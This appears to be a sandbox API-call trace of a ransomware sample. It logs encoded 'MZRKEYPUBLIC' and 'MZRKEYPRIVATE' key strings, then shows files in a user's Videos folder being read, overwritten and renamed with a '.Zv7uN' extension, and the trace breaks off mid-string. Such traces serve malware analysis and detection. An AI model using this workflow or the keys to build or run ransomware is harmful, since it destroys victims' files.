lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.019] GetCurrentThreadId () returned 0xa30 [0087.019] GetCurrentThreadId () returned 0xa30 [0087.019] GetCurrentThreadId () returned 0xa30 [0087.019] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\PPbvZP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\ppbvzp.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.020] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.020] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.020] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x4279 [0087.020] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.020] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x4279, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x4279, lpOverlapped=0x0) returned 1 [0087.023] CloseHandle (hObject=0x11c) returned 1 [0087.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\PPbvZP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\ppbvzp.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.025] WriteFile (in: hFile=0x11c, lpBuffer=0x1f05f70*, nNumberOfBytesToWrite=0x4279, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f05f70*, lpNumberOfBytesWritten=0x18f6ac*=0x4279, lpOverlapped=0x0) returned 1 [0087.028] CloseHandle (hObject=0x11c) returned 1 [0087.029] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\PPbvZP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\ppbvzp.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\PPbvZP.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\ppbvzp.mkv.zv7un")) returned 1 [0087.030] GetCurrentThreadId () returned 0xa30 [0087.030] GetCurrentThreadId () returned 0xa30 [0087.030] GetCurrentThreadId () returned 0xa30 [0087.030] GetCurrentThreadId () returned 0xa30 [0087.030] GetCurrentThreadId () returned 0xa30 [0087.031] GetCurrentThreadId () returned 0xa30 [0087.031] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409db540, ftCreationTime.dwHighDateTime=0x1d5d9d0, ftLastAccessTime.dwLowDateTime=0x67952270, ftLastAccessTime.dwHighDateTime=0x1d5d947, ftLastWriteTime.dwLowDateTime=0x67952270, ftLastWriteTime.dwHighDateTime=0x1d5d947, nFileSizeHigh=0x0, nFileSizeLow=0x4279, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="PPbvZP.mkv", cAlternateFileName="")) returned 0 [0087.031] GetLastError () returned 0x12 [0087.031] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0087.031] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa90ae1b0, ftCreationTime.dwHighDateTime=0x1d5d963, ftLastAccessTime.dwLowDateTime=0x51ca1b60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51ca1b60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0087.031] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0087.031] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.031] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa90ae1b0, ftCreationTime.dwHighDateTime=0x1d5d963, ftLastAccessTime.dwLowDateTime=0x51ca1b60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51ca1b60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0087.031] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.031] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.032] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x535db2d0, ftCreationTime.dwHighDateTime=0x1d5daab, ftLastAccessTime.dwLowDateTime=0xb709ae80, ftLastAccessTime.dwHighDateTime=0x1d5e643, ftLastWriteTime.dwLowDateTime=0x51bbd320, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x139b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="-CggBS-I.swf.Zv7uN", cAlternateFileName="-CGGBS~1.ZV7")) returned 1 [0087.032] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.032] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.032] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfef5d3c0, ftCreationTime.dwHighDateTime=0x1d5e3ca, ftLastAccessTime.dwLowDateTime=0xc4f777a0, ftLastAccessTime.dwHighDateTime=0x1d5dd67, ftLastWriteTime.dwLowDateTime=0xc4f777a0, ftLastWriteTime.dwHighDateTime=0x1d5dd67, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="6a2qkp", cAlternateFileName="")) returned 1 [0087.032] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.032] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.032] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfef5d3c0, ftCreationTime.dwHighDateTime=0x1d5e3ca, ftLastAccessTime.dwLowDateTime=0xc4f777a0, ftLastAccessTime.dwHighDateTime=0x1d5dd67, ftLastWriteTime.dwLowDateTime=0xc4f777a0, ftLastWriteTime.dwHighDateTime=0x1d5dd67, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0087.032] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfef5d3c0, ftCreationTime.dwHighDateTime=0x1d5e3ca, ftLastAccessTime.dwLowDateTime=0xc4f777a0, ftLastAccessTime.dwHighDateTime=0x1d5dd67, ftLastWriteTime.dwLowDateTime=0xc4f777a0, ftLastWriteTime.dwHighDateTime=0x1d5dd67, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0087.032] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ce0e50, ftCreationTime.dwHighDateTime=0x1d5e0c8, ftLastAccessTime.dwLowDateTime=0x4237a1e0, ftLastAccessTime.dwHighDateTime=0x1d5e362, ftLastWriteTime.dwLowDateTime=0x4237a1e0, ftLastWriteTime.dwHighDateTime=0x1d5e362, nFileSizeHigh=0x0, nFileSizeLow=0x1d21, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="IcBGqKdtFRpsh3FJ5K.mkv", cAlternateFileName="ICBGQK~1.MKV")) returned 1 [0087.032] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0087.032] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\IcBGqKdtFRpsh3FJ5K.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\icbgqkdtfrpsh3fj5k.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ce0e50, ftCreationTime.dwHighDateTime=0x1d5e0c8, ftLastAccessTime.dwLowDateTime=0x4237a1e0, ftLastAccessTime.dwHighDateTime=0x1d5e362, ftLastWriteTime.dwLowDateTime=0x4237a1e0, ftLastWriteTime.dwHighDateTime=0x1d5e362, nFileSizeHigh=0x0, nFileSizeLow=0x1d21)) returned 1 [0087.032] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\IcBGqKdtFRpsh3FJ5K.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\icbgqkdtfrpsh3fj5k.mkv")) returned 0x20 [0087.032] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\IcBGqKdtFRpsh3FJ5K.mkv", dwFileAttributes=0x80) returned 1 [0087.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvC